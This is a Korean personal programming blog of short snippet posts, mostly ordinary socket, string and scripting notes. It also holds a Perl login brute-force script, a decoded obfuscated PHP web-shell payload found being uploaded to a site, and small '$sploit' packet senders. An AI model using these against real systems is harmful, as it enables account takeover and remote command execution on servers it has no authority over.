http://meetup.toast.com/posts/103

'programming > lua' 카테고리의 다른 글

wireshark에서 lua사용하기  (0) 2015.04.18
Posted by applicationlayer
:


Posted by applicationlayer
:

정리 잘되어있다

http://kit2013.tistory.com/152

 

'programming > lua' 카테고리의 다른 글

wireshark에서 lua사용하기 plugin  (0) 2017.11.03
Posted by applicationlayer
:

http://cafe.naver.com/12inchtablet/40821

Posted by applicationlayer
:


..


RunAs ( "administrator", "@ComputerName", "비밀번호", 0, "certmgr.exe /add "&'"'&@WorkingDir&'"'&"\XXXXXX.cer -c -s -r localMachine Root")



'programming > autoit' 카테고리의 다른 글

autohotkey & devmanview 활용  (0) 2014.12.27
Posted by applicationlayer
:

gmail script

programming/python 2013. 6. 20. 17:08 |

#!/usr/bin/python

import sys

import smtplib

from email.MIMEText import MIMEText


sender = 'sdfsdfsdf@gmail.com'

recipients = 'sdfsdfsdf@gmail.com'

text = sys.argv[1]

msg = MIMEText(text)

msg['Subject'] =  '[Alert'

msg['From'] = sender

msg['To'] = recipients


smtpserver = 'smtp.gmail.com'

smtpuser = 'asdfasft'         # set SMTP username here

smtppass = 'asfdasdf'   # set SMTP password here


session = smtplib.SMTP("smtp.gmail.com", 587)

session.ehlo()

session.starttls()

session.ehlo()


session.login(smtpuser, smtppass)


smtpresult = session.sendmail(sender, [recipients], msg.as_string())


if smtpresult:

  errstr = ""

  for recip in smtpresult.keys():

      errstr = """Could not delivery mail to: %s


Server said: %s

%s


%s""" % (recip, smtpresult[recip][0], smtpresult[recip][1], errstr)

  raise smtplib.SMTPException, errstr


session.close()



Posted by applicationlayer
:

'programming > mysql' 카테고리의 다른 글

시작/종료  (0) 2012.04.10
mysql원격접근  (0) 2012.01.27
root비번을 잊어버렸을때..  (0) 2011.10.09
Posted by applicationlayer
:

시작/종료

programming/mysql 2012. 4. 10. 21:03 |

내꺼

루트에서

/mysql/bin/mysql_safe &

종료

/mysql/bin/mysqladmin shutdown -p


'programming > mysql' 카테고리의 다른 글

mysql table size 변경  (0) 2012.04.18
mysql원격접근  (0) 2012.01.27
root비번을 잊어버렸을때..  (0) 2011.10.09
Posted by applicationlayer
:

mysql원격접근

programming/mysql 2012. 1. 27. 17:57 |

'programming > mysql' 카테고리의 다른 글

mysql table size 변경  (0) 2012.04.18
시작/종료  (0) 2012.04.10
root비번을 잊어버렸을때..  (0) 2011.10.09
Posted by applicationlayer
:
service mysql stop 

wait until MySQL shuts down. Then run 

mysqld_safe --skip-grant-tables & 

then you will be able to login as root with no password. 

mysql -uroot mysql 

In MySQL command line prompt issue the following command: 

UPDATE user SET password=PASSWORD("abcd") WHERE user="root"; 
FLUSH PRIVILEGES; 
EXIT 

/etc/init.d/mysqld restart 

At this time your root password is reset to "abcd" and MySQL will now 
know the privileges and you'll be able to login with your new password: 

mysql -uroot -p mysq


http://translate.google.co.kr/translate?hl=ko&sl=en&tl=ko&u=http%3A%2F%2Fforums.vpslink.com%2Fcentos%2F1264-mysql-root-default-password.html&anno=2 

'programming > mysql' 카테고리의 다른 글

mysql table size 변경  (0) 2012.04.18
시작/종료  (0) 2012.04.10
mysql원격접근  (0) 2012.01.27
Posted by applicationlayer
:

echo server

programming/perl 2010. 11. 29. 19:26 |
#!/usr/bin/perl
 
use IO::Socket;
 
sub connection {
    my ($a_sock) = @_;
 
    print $a_sock "        *** TCP ECHO SRV ***\n\n\r";
    while( defined($buf = <$a_sock>)) {
        print $a_sock $buf;
    }
    exit;
}
 
my $sock = new IO::Socket::INET (LocalHost => 'ANY',
                              LocalPort => 4242,
                              Proto => 'tcp',
                              Listen => 5,
                              Reuse => 1);
 
die "Unable to create Socket, error: $!" unless $sock;
 
print "Tcp server running\n";
 
sub REAPER {
    while(waitpid(-1,WNOHANG) > 0) { ; }
    $SIG{CHLD} = \&REAPER;
}
 
$SIG{CHLD} = \&REAPER;
 
my $a_sock;
 
while (1) {
    $a_sock = $sock->accept();
    if (defined($a_sock)) {
        my $pid = fork;
        if ($pid == 0) {
            connection($a_sock);
            exit(0);
        } else {
            close($a_sock);
        }
    }
}
 
close $sock;
 

'programming > perl' 카테고리의 다른 글

socket TCP server  (0) 2010.05.10
udp request  (0) 2010.05.10
tcp request  (0) 2010.05.10
외부파일실행예제  (0) 2010.04.28
웹페이지 긁어오기 예제  (0) 2010.04.09
Posted by applicationlayer
:
http://gooja.tistory.com/55

PHP 에서 exec() 함수와 같은 기능을하는 backtiks 이 있다.
``Note that these are not single-quotes!
backtick(``) 를 이용해서 shell 명령어를 실행할 할 수 있다.

<예>
<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

<pre></pre>는 실행결과를 자동으로 줄바꿈을 해서 보기 편리하다.

'programming > php' 카테고리의 다른 글

session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:
와샥은 winpcap라이브러리에서 제공하는 아래의 함수를 사용하여 패킷을 수집한다.

pcap_findalldevs() 랜카드 선택

pcap_freealldevs() 랜카드 제거

pcap_open_live() 선택된 랜카드로 수집할 패킷 사이즈 등 결정

pcap_loop() 프로그램 무한루프 결정

pcap_handle() 수집된 패킷 출력 형태 결정

'programming > C++' 카테고리의 다른 글

gcc -lz옵션  (0) 2010.05.06
main, _tmain, wmain  (0) 2010.04.17
CString형변환  (0) 2009.10.12
Posted by applicationlayer
:

socket TCP server

programming/perl 2010. 5. 10. 11:01 |
http://www.tutorialspoint.com/perl/perl_socket.htm
##########server##########
#!/usr/bin/perl -w
# server.pl
#--------------------

use strict;
use Socket;

# use port 7890 as default
my $port = shift || 7890;
my $proto = getprotobyname('tcp');

# create a socket, make it reusable
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
or die "Can't open socket $!\n";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1)
or die "Can't set socket option to SO_REUSEADDR $!\n";

# bind to a port, then listen
bind( SOCKET, pack( 'Sn4x8', AF_INET, $port, "\0\0\0\0" ))
or die "Can't bind to port $port! \n";
listen(SOCKET, 5) or die "listen: $!";
print "SERVER started on port $port\n";

# accepting a connection
my $client_addr;
while ($client_addr = accept(NET_SOCKET, SOCKET)) {
# send them a message, close connection
print NEW_SOCKET "Smile from the server";
close NEW_SOCKET;


}
##########client##########
#!/usr/bin/perl -w
# client.pl
#----------------

use strict;
use Socket;

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 7890;
my $server = "10.12.12.168";

# create the socket, connect to the port
socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2])
or die "Can't create a socket $!\n";
connect( SOCKET, pack( 'Sn4x8', AF_INET, $port, $server ))
or die "Can't connect to port $port! \n";

my $line;
while ($line = <SOCKET>) {
print "$line\n";
}
close SOCKET or die "close: $!";

'programming > perl' 카테고리의 다른 글

echo server  (0) 2010.11.29
udp request  (0) 2010.05.10
tcp request  (0) 2010.05.10
외부파일실행예제  (0) 2010.04.28
웹페이지 긁어오기 예제  (0) 2010.04.09
Posted by applicationlayer
:

udp request

programming/perl 2010. 5. 10. 09:30 |
$ARGC=@ARGV;
if ($ARGC !=2) {
        print "Usage: $0 <host> <port>\n";
        print "Example: $0 192.168.1.153 80\n";
        exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = $ARGV[1];

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('UDP') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "Error: $!";
#connect(SOCK, $paddr) or die "Error: $!";
connect(SOCK, $paddr);

$sploit="60198E081622F7BCC5489B";


print $sploit;
send(SOCK, $sploit,0 ) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;


'programming > perl' 카테고리의 다른 글

echo server  (0) 2010.11.29
socket TCP server  (0) 2010.05.10
tcp request  (0) 2010.05.10
외부파일실행예제  (0) 2010.04.28
웹페이지 긁어오기 예제  (0) 2010.04.09
Posted by applicationlayer
:

tcp request

programming/perl 2010. 5. 10. 09:29 |
$ARGC=@ARGV;
if ($ARGC !=2) {
        print "Usage: $0 <host> <port>\n";
        print "Example: $0 192.168.1.210 445\n";
        exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = $ARGV[1];

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
#connect(SOCK, $paddr) or die "Error: $!";
connect(SOCK, $paddr);

$sploit="\x30\x30\x30";

print $sploit;
send(SOCK, $sploit,0 ) or die "Cannot send query: $!";
sleep(1);
close(SOCK);
exit;

'programming > perl' 카테고리의 다른 글

socket TCP server  (0) 2010.05.10
udp request  (0) 2010.05.10
외부파일실행예제  (0) 2010.04.28
웹페이지 긁어오기 예제  (0) 2010.04.09
HTTP 파일업로드(Perl)  (0) 2009.12.30
Posted by applicationlayer
:

gcc -lz옵션

programming/C++ 2010. 5. 6. 21:08 |
poc를 컴파일하는데 에러가 발생했다

#gcc poc.c -o poc
/tmp/ccKjCDpt.o(.text+0x214): In function `zflush':
: undefined reference to `deflate'
/tmp/ccKjCDpt.o(.text+0x3c7): In function `zgetch':
: undefined reference to `inflate'
/tmp/ccKjCDpt.o(.text+0x4e3): In function `do_compression':
: undefined reference to `deflateInit_'
/tmp/ccKjCDpt.o(.text+0x4fa): In function `do_compression':
: undefined reference to `inflateInit_'
collect2: ld returned 1 exit status

compress관련 라이브러리인 libzip을 링크시켜야 된단다.

아래와 같은 옵션을 사용하여 컴파일이 가능하다.

#gcc poc.c -o poc -lz




'programming > C++' 카테고리의 다른 글

wireshark 의 패킷수집절차  (0) 2010.07.17
main, _tmain, wmain  (0) 2010.04.17
CString형변환  (0) 2009.10.12
Posted by applicationlayer
:

출처: http://kaiserinlee.thoth.kr/?mid=blog&document_srl=1335548


- session_start(); 전에 출력문이 있으면 안된다.

- 그래도 안된다면 세션변수가 저장되는 폴더 권한을 777로 주었는지 확인해보자.

- 그래도 안된다면 UTF-8(BOM없음) 형식으로 저장해보자.

- 그래도 안된다면 모든 파일을 이 형식으로 저장하자.

- 그래도 안된다면 php.ini 에서 default-charset utf-8 로 설정해보라.

  난 이것도 안해줘서 경고문이 떴었다 -_ㅠ

- 설정은 모두 통일하자 !

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:
system("pg.exe");
print "\nSelect AdapterIndex:";
$interface = <STDIN>;
for($i=1321;$i<=1539;$i++)
{
  if($i<10)
  {$fileName = '000'.$i;}
  elsif($i<100)
  {$fileName = '00'.$i;}
  elsif($i<1000)
  {$fileName = '0'.$i;}
  else
  {
    $fileName = $i;
    }
  if(-e $fileName.".pl")
  {
    $fileName=$fileName.".pl";
    $filetype="pl";
  }
  elsif(-e $fileName.".cap")
  {
    $filetype="cap";
    $fileName=$fileName.".cap";
  }
  else
  {
    die "\n $fileName is not exist.\n";
  }
  if($filetype eq "pl")
  {
    system("perl $fileName");
    print "\n$fileName OK\n";
  }
  elsif($filetype eq "cap")
  {
    system("pg.exe $interface $fileName");
    print "\n$fileName OK\n";
  }
  $filetype="-";
#  $enter = <STDIN>; 
}
print "bye~\n";

'programming > perl' 카테고리의 다른 글

udp request  (0) 2010.05.10
tcp request  (0) 2010.05.10
웹페이지 긁어오기 예제  (0) 2010.04.09
HTTP 파일업로드(Perl)  (0) 2009.12.30
web login dictionary attack  (0) 2009.12.03
Posted by applicationlayer
:

exec(함수

programming/php 2010. 4. 22. 15:55 |

exec 에서 사용한 쉘 명령어의 동작이 끝날때까지 php 는 동작하지 않는다.

즉, exec 상태에서 멈춰 있다가 쉘 명령어의 동작이 끝난 후, php가 동작한다.

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
safemode  (0) 2010.03.08
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:

main, _tmain, wmain

programming/C++ 2010. 4. 17. 01:05 |


http://msdn.microsoft.com/en-us/library/6wd819wh.aspx

'programming > C++' 카테고리의 다른 글

wireshark 의 패킷수집절차  (0) 2010.07.17
gcc -lz옵션  (0) 2010.05.06
CString형변환  (0) 2009.10.12
Posted by applicationlayer
:
clipboardData.getData("Text");

'programming > javascript' 카테고리의 다른 글

Arguments 개체  (0) 2009.10.01
Posted by applicationlayer
:
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
require HTTP::Request;
require HTTP::Response;
$i=1;
while($i<646)
{
  $qu = 'http://server/index.asp?page='.$i;
  $req = HTTP::Request->new(GET => $qu);
  $res = $ua->request($req);
  $filename = 'page'.$i.'.html';
  open(FILE,"> $filename") || die "file open error\n";
  print FILE $res->content;
  close(FILE);
  print $i."page success\n";
  $i=$i+1;
}

'programming > perl' 카테고리의 다른 글

tcp request  (0) 2010.05.10
외부파일실행예제  (0) 2010.04.28
HTTP 파일업로드(Perl)  (0) 2009.12.30
web login dictionary attack  (0) 2009.12.03
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
Posted by applicationlayer
:
Set objIE = CreateObject("InternetExplorer.Application")
Set WshShell = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set fl = fso.CreateTextFile("QwiEdK.txt",True)
objIE.Navigate("about:blank")
strTemp = objIE.document.parentwindow.clipboardData.GetData("text")
objIE.Quit
fl.Write strTemp
fl.Close
Set WshShell = WScript.CreateObject("WScript.Shell")

WShShell.Run "C:\\Progra~1\\Wiresh~1\\text2pcap.exe QwiEdK.txt output.pcap"
WShShell.Run "del QwiEdK.txt"
WScript.Echo strTemp
Posted by applicationlayer
:

safemode

programming/php 2010. 3. 8. 11:18 |
PHP는 현재 스크립트의 소유자(owner)가 파일 함수에 의해 제어되는 파일의 소유자(owner)나 그 디렉토리와 일치하는지 검사한다.
http://php.net/manual/kr/ini.sect.safe-mode.php

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:
파일 업로드시 패킷을 뜨기 위해서 간단한 스크립트를 이용할 수 있다.

  use HTTP::Request::Common;
  use LWP::UserAgent;
  $ua = LWP::UserAgent->new;LWP::UserAgent->new;
  my $req = POST 'http://[서버주소]',Content_Type => 'form-data',Content => [ info_file => ["파일명"] ];
  $ua->request($req);

3 way handshaking을 맺어야하므로 서버측에 80번 포트를 열어주어야 패킷이 나간다.


'programming > perl' 카테고리의 다른 글

외부파일실행예제  (0) 2010.04.28
웹페이지 긁어오기 예제  (0) 2010.04.09
web login dictionary attack  (0) 2009.12.03
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
apache log shooter(GET)  (0) 2009.10.11
Posted by applicationlayer
:
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
require HTTP::Request;
require HTTP::Response;
if( $#ARGV != 1 )
  { die "Usage: webbf.pl \"192.168.1.150/login.asp?id=TEST&pw=TEST\" [DICfilename]\n";}

$ARGV[0] =~ /([\w.\/]{1,30}\/\w{1,20}\.\w{1,4}\?)([\w=&]{1,100})=TEST&(\w{1,10})=TEST/;
$URL = $1;
$IDparam = $2;
$PWparam = $3;

$DicfileName = $ARGV[1];
open( fileHandle, $DicfileName ) || die "Cannot open $fileName.\n";

$attnum=1;


while($aLine =<fileHandle>)
{
    $aLine =~s/\r//;
    $aLine =~s/\n//;
    
    $ID = $aLine;
    $PW = $aLine;

  $bruteforce = 'http://'.$URL.$IDparam.'='.$ID.'&'.$PWparam.'='.$PW;
  $req = HTTP::Request->new(GET => $bruteforce);
  $res = $ua->request($req);
  print $attnum++.'.--->'.$bruteforce."\n";

  if($res->content !~/아이디가/)
 {
    print "bruteforce success\n\n\n\n";
    print $res->content;
    die "\n";
  }
}


웹 애플리케이션 로그인 dictionary attack공격
한번 요청시마다 일일이 다시 세션을 맺는데 이건 보완해야겠다.

'programming > perl' 카테고리의 다른 글

웹페이지 긁어오기 예제  (0) 2010.04.09
HTTP 파일업로드(Perl)  (0) 2009.12.30
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
apache log shooter(GET)  (0) 2009.10.11
WireShark HTTP파싱 스크립트  (0) 2009.09.30
Posted by applicationlayer
:
  use HTTP::Request::Common qw(POST);
  use LWP::UserAgent;
  $ua = LWP::UserAgent->new;
  my $req = POST 'http://192.168.1.157',Content_Type => 'form-data',Content => [ search => 'www', errors => 0 ];
  $ua->request($req);


o>_<o

'programming > perl' 카테고리의 다른 글

HTTP 파일업로드(Perl)  (0) 2009.12.30
web login dictionary attack  (0) 2009.12.03
apache log shooter(GET)  (0) 2009.10.11
WireShark HTTP파싱 스크립트  (0) 2009.09.30
HTTP요청 스크립트(ActivePerl)  (0) 2009.09.30
Posted by applicationlayer
:

PHP 소스분석

programming/php 2009. 10. 22. 10:02 |

모 웹 사이트에 위의 코드를 업로드하려는 시도가 발견되었다.
$vopcrew = "pZLNd8MwEITvgbyDIgyWIZT059Q0xdBYYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQgTJF8/b7mH5/L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0OgdMHJxtTF8spnIjstnDKaxDkJ2cGnLYQOduonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMoLD4Bv43SjH52bTaOvkeNYw2IFdQ1v2BCjPyiD4VhQ/booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9SLokosaCs1hrHkLUUrZ7urS0fz32lwh90TTTAEskQHRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9EbWh+v2trypbkGMqK2mCgx9VeseA6q3AoKL8=";
eval(gzinflate(str_rot13(base64_decode($vopcrew))));
exit;

id라는 시스템명령을 실행하려는 소스이며 exec, system, passthru, popen등으로 시도한다는 걸 알 수 있다.
실행결과화면은 다음과 같다.


<?php
$os = @PHP_OS;
echo "v0pCr3w";
echo "os:$os";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe)
{
  $res = '';
  if (!empty($cfe))
  {
    if(function_exists('exec'))
    {
      @exec($cfe,$res);
      $res = join("\n",$res);
    }
    elseif(function_exists('shell_exec'))
    {
      $res = @shell_exec($cfe);
    }
    elseif(function_exists('system'))
    {
      @ob_start(); @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(function_exists('passthru'))
    {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(@is_resource($f = @popen($cfe,"r")))
    {
      $res = "";
      while(!@feof($f))
      {
        $res .= @fread($f,1024);
      }
      @pclose($f);
    }
  }
  return $res;
}
?>

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
Posted by applicationlayer
:

CString형변환

programming/C++ 2009. 10. 12. 00:16 |

CString -> BYTE

BYTE*   temp;
CString   cmd;
에서 cmd 의 값을 temp에 할당하려 할때.

 

temp=new BYTE[255];
temp=(LPBYTE)(LPCSTR)cmd;
delete []temp;

 

or

 

CString str = _T("abcd");
BYTE* pbyte = new BYTE[256];
int nSize;
nSize = str.GetLength();
CopyMemory( pbyte, str.GetBuffer(nSize), nSize );
pbyte[nSize] = 0;

 

or

 

strcpy(szNamePlace,(LPCTSTR)name);


or

 

CString str = "string";
BYTE* pByte;
pByte = (BYTE*)(LPTSTR)(LPCTSTR)str;

 

BYTE -> CString

CString testString;
BYTE    testByte;
testString.Format( "%s", testByte );

 

CString -> BYTE *

CString name = "몽룡이";
BYTE byte[26] = {0};
BYTE bName[26] = {0x0,};

sprintf((char*)byte, "%s", name);

memcpy(bName, byte, 26);

 

CString strTmp1, strTmp2;
strTmp1 = "";
strTmp2 = "";

for(int i=0; i<26; i++) {
    strTmp1.Format("%02X ", bName[i]);
    strTmp2 += strTmp1;
}
MessageBox(strTmp2, "", 0);

 

26바이트의 크기의 이름이다. 남는 공간은 0으로 채워진다

 

CString -> int

CString의 문자열을 바로 숫자로 바꾸는것은
아직 보지 못했습니다.
아마 atoi()나 atod()의 C함수를 사용해야 될것 같네요.
도움말을 참고하세요.

 

int -> CString

CString str;
int i = 6;
str.Format("%d",i);    // str에 6의 문자가 들어갑니다.


BYTE -> int, int -> BYTE

바로 형변환으로 가능합니다.
bt = (BYTE)i;          // 주의 : 작은 크기로 들어가기 때문에
                       // 255 이상의 값은 엉뚱하게 동작하겠지요.
i = (int)bt;

 

CString  => char* 변환

char * ch;
CString *str;

1) ch = (LPSTR)(LPCSTR)str;

2) ch = str.GetBuffer(str.GetLength());
3) wsprintf( ch, "%s", str);

 

 

char*  =>  CString 변환

1) str = (LPCSTR)(LPSTR)ch;
2) str = ch;

 

참고)

LPSTR 은 char* 입니다.

LPSTR : char stirng의 32비트 포인터, char* 와 같다.

LPCTSTR : Constant character String의 32비트 포인터

UINT : 32비트 unsigned형 정수
DWORD : unsigned long int형

BYTE : 8비트 unsigned 정수

 

1.CString 클래스의 GetBuffer()는 CString을 char *로 바꿔줍니다.

ex) CString strTemp = _T("test");
    char *getTemp=NULL;

    getTemp = malloc(strTemp.GetLength()+1);
    strcpy(getTemp, strTemp.GetBuffer(strTemp.GetLength());
    printf("결과:%sn", getTemp);

    free(getTemp);

2. operator LPCTSTR ()도 마찬가지입니다.

ex) CString strTemp = _T("test");
    char *getTemp = (LPSTR)(LPCSTR)strData;

 


CString -> BYTE*

CString str="1234";

BYTE *pbyte;

pbyte = (BYTE(LPSTR)(LPCSTR)str;


CString str = _T("abcd");

BYTE* pbyte = new BYTE[256];

int nSize;

nSize = str.GetLength();

CopyMemory( pbyte, str.GetBuffer(nSize), nSize );

pbyte[nSize] = 0;

 

CString  => char* 변환

char * ch;
CString *str;

1) ch = (LPSTR)(LPCSTR)str;

2) ch = str.GetBuffer(str.GetLength());
3) wsprintf( ch, "%s", str);

 

char*  =>  CString 변환

1) str = (LPCSTR)(LPSTR)ch;
2) str = ch;

 

참고)

LPSTR 은 char* 입니다.

LPSTR : char stirng의 32비트 포인터, char* 와 같다.

LPCTSTR : Constant character String의 32비트 포인터

UINT : 32비트 unsigned형 정수
DWORD : unsigned long int형

BYTE : 8비트 unsigned 정수

 

참고 : CString을 const char* 형태로 변경 -> (LPTSTR)(LPCTSTR)CString


LPCSTR :  A 32-bit pointer to a constant character string.
LPSTR :  A 32-bit pointer to a character string.
LPCTSTR :  A 32-bit pointer to a constant character string that is portable for Unicode and DBCS.
LPTSTR :  A 32-bit pointer to a character string that is portable for Unicode and DBCS.

 

CString from MSDN

http://msdn.microsoft.com/library/kor/default.asp?url=/library/KOR/vccore/html/_core_Strings3a_CString_Operations_Relating_to_C2dStyle_Strings.asp

 

대개 CString 개체의 내용은 마치 해당 개체가 C 스타일의 null로 끝나는 문자열인 것처럼 조작하는 것이 유용합니다. 이 문서에서는 다음과 같은 내용을 다룹니다.

C 스타일의 Null로 끝나는 문자열로 변환

다음 두 가지 경우를 참고하십시오.

  • 가장 간단한 경우 CString 개체를 LPCTSTR로 캐스팅할 수 있습니다. LPCTSTR 형식 변환 연산자는 CString 개체에서 null로 종료되는 읽기 전용 C 스타일 문자열에 대한 포인터를 반환합니다.

    LPCTSTR 에서 반환하는 포인터는 CString에서 사용하는 데이터 영역을 가리킵니다. CString이 범위를 벗어나 자동적으로 삭제되거나 다른 이유로 CString의 내용이 변경되면 LPCSTSR 포인터는 더 이상 유효하지 않습니다. 포인터가 가리키는 문자열은 임시 문자열로 처리됩니다.

  • SetAt 등의 CString 함수를 사용하여 문자열 개체의 개별 문자를 수정할 수 있습니다. 그러나 직접 수정할 수 있도록 CString 개체의 문자 복사본이 필요한 경우에는 다음 예제에서처럼 strcpy(또는 이식 가능한 유니코드/MBCS 함수인 _tcscpy)를 사용하여 문자를 안전하게 수정할 수 있는 별도의 버퍼에 CString 개체를 복사합니다.
              CString theString( "This is a test" );

    LPTSTR lpsz = new TCHAR[theString.GetLength()+1];

    _tcscpy(lpsz, theString);

    //... modify lpsz as much as you want
    참 고 strcpy(또는 이식 가능한 유니코드/MBCS 함수인 _tcscpy)의 두 번째 인수는const wchar_t*(유니코드) 또는 const char*(ANSI)입니다. 위 예제에서는 이 인수에 대해 CString을 전달합니다. C++ 컴파일러에서는 자동으로 CString 클래스에 대해 정의된 변환 함수를 적용하여 CString을 LPTSTR로 변환합니다. 한 형식을 다른 형식으로 캐스팅하는 연산을 정의하는 기능은 C++에서 가장 유용한 기능 중 하나입니다.

표준 런타임 라이브러리 문자열 함수 사용

대부분의 경우, strcmp(또는 이식 가능한 유니코드/MBCS 함수인 _tcscmp) 등의 표준 C 런타임 라이브러리 문자열 함수를 사용하여 문자열 작업을 수행하려면 CString 멤버 함수를 찾아야 합니다.

C 런타임 문자열 함수를 사용해야 하는 경우에는 C 스타일의 Null로 끝나는 문자열로 변환에서 설명하는 방법을 사용하여, CString 개체를 해당하는 C 스타일 문자열 버퍼로 복사하고 이 버퍼에서 작업을 수행한 다음 결과로 생성된 C 스타일 문자열을 다시 CString 개체에 할당할 수 있습니다.

CString 내용을 직접 수정

대부분의 경우 CString 개체의 내용을 수정하거나 CString을 C 스타일 문자열로 변환하려면 CString 멤버 함수를 사용해야 합니다.

그러나 문자 버퍼가 필요한 운영 체제 함수를 사용하여 작업하는 등의 일부 경우에는 CString의 내용을 직접 수정하는 것이 좋습니다.

GetBuffer 및 ReleaseBuffer 멤버 함수를 사용하면 CString 개체의 내부 문자 버퍼에 액세스하여 CString의 내용을 직접 수정할 수 있습니다. 다음 단계는 이러한 함수를 사용하여 CString의 내용을 직접 변경하는 방법입니다.

  1. CString 개체에 대해 GetBuffer를 호출하고 필요한 버퍼 길이를 지정합니다.
  2. GetBuffer에서 반환된 포인터를 사용하여 문자를 CString 개체에 직접 씁니다
  3. CString 개체에 대해 ReleaseBuffer를 호출하여 문자열 길이 등의 내부 CString 상태 정보를 모두 업데이트합니다. CString 개체의 내용을 직접 수정한 다음 다른 CString 멤버 함수를 호출하려면 먼저 ReleaseBuffer를 호출해야 합니다.

가변 인수를 사용하는 함수에 CString 개체 사용

일 부 C 함수에는 다양한 인수가 사용됩니다. 대표적인 예로 printf 함수가 있습니다. 이러한 종류의 함수를 선언하는 방식 때문에 컴파일러에서는 인수의 형식을 확인하지 못해 각 인수에 대해 수행할 변환 작업을 결정하지 못할 수 있습니다. 따라서 다양한 인수를 사용하는 함수에 CString 개체를 전달할 때는 명시적인 형식 캐스팅을 사용해야 합니다.

가변 인수를 사용하는 함수에 CString 개체를 사용하려면

  • 다음과 같이 CString을 LPCTSTR 문자열로 명시적으로 캐스팅합니다.
              CString kindOfFruit = "bananas";

    int howmany = 25;

    printf( "You have %d %s\n", howmany, (LPCTSTR)kindOfFruit );

CString 형식 매개 변수 지정

문 자열 인수가 필요한 함수의 경우에는 대부분 함수 프로토타입에 CString 대신 문자(LPCTSTR)에 대한 const 포인터로 형식 매개 변수를 지정하는 것이 좋습니다. 형식 매개 변수가 문자에 대한 const 포인터로 지정되면 TCHAR 배열에 대한 포인터, 리터럴 문자열 ["hi there"] 또는 CString 개체 중 하나를 전달할 수 있습니다. CString 개체는 자동으로 LPCTSTR로 변환됩니다. LPCTSTR을 사용할 수 있는 위치이면 어디에나 CString 개체를 사용할 수 있습니다.

인 수가 수정되지 않는 경우에는 형식 매개 변수를 상수 문자열 참조, 즉 const CString&로 지정할 수도 있습니다. 문자열이 함수에 의해 수정되는 경우에는 const 한정자를 삭제합니다. 기본 null 값이 필요하면 다음 예제에서처럼 null 문자열[""]로 초기화합니다.

          void AddCustomer( const CString& name,

const CString& address,

const CString& comment = "" );

대부분의 함수 결과에서 CString 개체를 간단히 값으로 반환할 수 있습니다.

 

CString 인수 전달 규칙

클래스 인터페이스를 정의할 때는 멤버 함수에 대한 인수 전달 규칙을 결정해야 합니다. CString 개체를 전달하고 반환하는 데는 몇 가지 표준 규칙이 있습니다. 함수 입력에 사용하는 문자열함수 출력에 사용하는 문자열에 설명된 규칙을 따르면 효율적이고 올바른 코드를 만들 수 있습니다.

함수 입력에 사용하는 문자열

문 자열을 함수에 입력하려면 대부분의 경우에는 문자열 함수 매개 변수를 LPCTSTR로 선언하는 것이 가장 좋습니다. 필요하면 생성자와 할당 연산자를 사용하여 함수 내에서 CString 개체로 변환합니다. 함수로 문자열 내용을 변경할 수 있도록 하려면 매개 변수를 상수가 아닌 CString 참조(CString&)로 선언합니다.

함수 출력에 사용하는 문자열

CString 개체는 기본 형식처럼 값 의미론 다음에 오므로 일반적으로 함수에서 CString 개체를 반환할 수 있습니다. 읽기 전용 문자열을 반환하려면 상수 CString 참조(const CString&)를 사용합니다. 다음 예제에서는 CString 매개 변수와 반환 형식의 사용 방법을 보여 줍니다.

          class CName : public CObject

{

private:

CString m_firstName;

char m_middleInit;

CString m_lastName;

public:

CName() {}

void SetData( LPCTSTR fn, const char mi, LPCTSTR ln )

{

m_firstName = fn;

m_middleInit = mi;

m_lastName = ln;

}

void GetData( CString& cfn, char mi, CString& cln )

{

cfn = m_firstName;

mi = m_middleInit;

cln = m_lastName;

}

CString GetLastName()

{

return m_lastName;

}

};

...

CName name;

CString last, first;

TCHAR middle;

